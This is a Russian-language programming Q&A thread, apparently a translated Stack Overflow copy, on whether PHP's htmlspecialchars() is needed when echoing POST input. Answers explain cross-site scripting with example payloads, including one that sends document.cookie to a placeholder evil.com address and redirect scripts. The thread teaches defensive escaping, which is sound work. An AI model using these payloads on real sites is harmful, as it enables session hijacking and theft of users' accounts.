Нужно ли много спасаться? - PullRequest
0 голосов
/ 27 марта 2012

Я смотрел на руководство по php.net , и в нем была такая строка кода:

Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.

Там написано:

htmlspecialchars () гарантирует, что любые символы, которые являются особыми в html, правильно закодированы, чтобы люди не могли вставлять HTML-теги или Javascript на вашу страницу.

Это действительно необходимо?

Может ли кто-нибудь на самом деле вставить код в эту строку?О чем беспокоиться?Может ли что-то быть введено в эту строку для запуска некоторого php-кода?Они просто привыкают людей наблюдать за этим, хотя в этом случае угрозы нет?

Ответы [ 8 ]

5 голосов
/ 27 марта 2012

Если чье-то имя было:

<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>

Тогда на вашем сайте может появиться червь. По сути, червь - это всего лишь сценарий, который принимает cookie-файл сеанса пользователя, входит в систему, а затем выполняет вредоносные действия, копируя себя по мере того, как все больше людей его просматривают.

4 голосов
/ 27 марта 2012

Да, это необходимо.См. Википедию для получения информации о уязвимостях межсайтового скриптинга .

PHP не может быть запущен с использованием XSS, но злоумышленник может украсть файл cookie сеанса.Потенциально катастрофически, если этот файл cookie сеанса предназначен для администратора в CMS, например.

2 голосов
/ 27 марта 2012

Угроза здесь XSS .Это код Javascript, который злоумышленник попытается выполнить с помощью атаки XSS.

Чтобы убедиться в этом, удалите htmlspecialchars (), а затем опубликуйте это как name:

<script>alert('xss')</script>

You 'Вы увидите, что ваш PHP-код распечатает это, и браузер выполнит Javascript.Наиболее распространенные XSS-атаки происходят в веб-приложениях, где пользователь вошел в сеанс.Успешная XSS-атака может прочитать куки-файл идентификатора сеанса жертвы, используя document.cookie, а затем отправить его на веб-сайт злоумышленников, где злоумышленник может продолжить перехват сеанса.

Эта атака называется Reflective XSS.Более серьезным типом XSS является Persistent XSS , в котором вы, например, сохраняете входные данные в базе данных, а затем распечатываете их на своей домашней странице, которую могут видеть все пользователи, или на любой другой странице.Постоянный XSS намного более вреден, потому что любой посетитель страницы, где сохраняется XSS, может быть атакован без фактического повторного запуска атаки для каждой жертвы.

2 голосов
/ 27 марта 2012

Это не только для безопасности. Например, если вы получите Fred&Jen как $_POST['name'], это сделает документ XML недействительным.

1 голос
/ 27 марта 2012

Если вы собираетесь печатать только то, что публикуют те же пользователи, они не могут навредить вам или другим пользователям. Однако, тем не менее, это полезно, так как пользователь может использовать «>» и «<», и это испортит представление контента. </p>

Однако, если вы собираетесь показывать контент, который отправляют другие пользователи, это становится намного опаснее.

Пользователь может вводить что угодно, от ссылок на другие сайты до javascript.

<script>window.location = 'http://www.evilsite.com';</script>

И все пользователи, которые посещают сайт, который отображает этот бит пользовательского контента, будут перенаправлены на evilsite.

0 голосов
/ 27 марта 2012

Может ли кто-нибудь на самом деле вставить код в эту строку?
Да.

enter image description here

0 голосов
/ 27 марта 2012

PHP-код не может быть введен в это поле, так как он не оценивается интерпретатором PHP, однако он представляет потенциал для межсайтового скриптинга.

Вы можете проверить это, используя что-то вроде этого:

<form action="" method="POST">
<input type="text" name="name"/>
<input type="submit"/>
</form>

<?php
if(isset($_POST['name'])){?>
    Hi <?php echo htmlspecialchars($_POST['name']); ?>.
<?php}?>

Затем в поле "имя" введите этот код и посмотрите, что произойдет:

<script type="text/javascript">alert("P0WN3D");</script>
0 голосов
/ 27 марта 2012

Да, кто-то может, например, внедрить некоторый код Javascript, который при отображении, например, перенаправит их на другой сайт (что довольно безопасно).

пример:

<script type="text/javascript">
window.location = "http://www.google.com/"
</script>

перенаправит пользователя в Google, если он будет опубликован без экранирования

...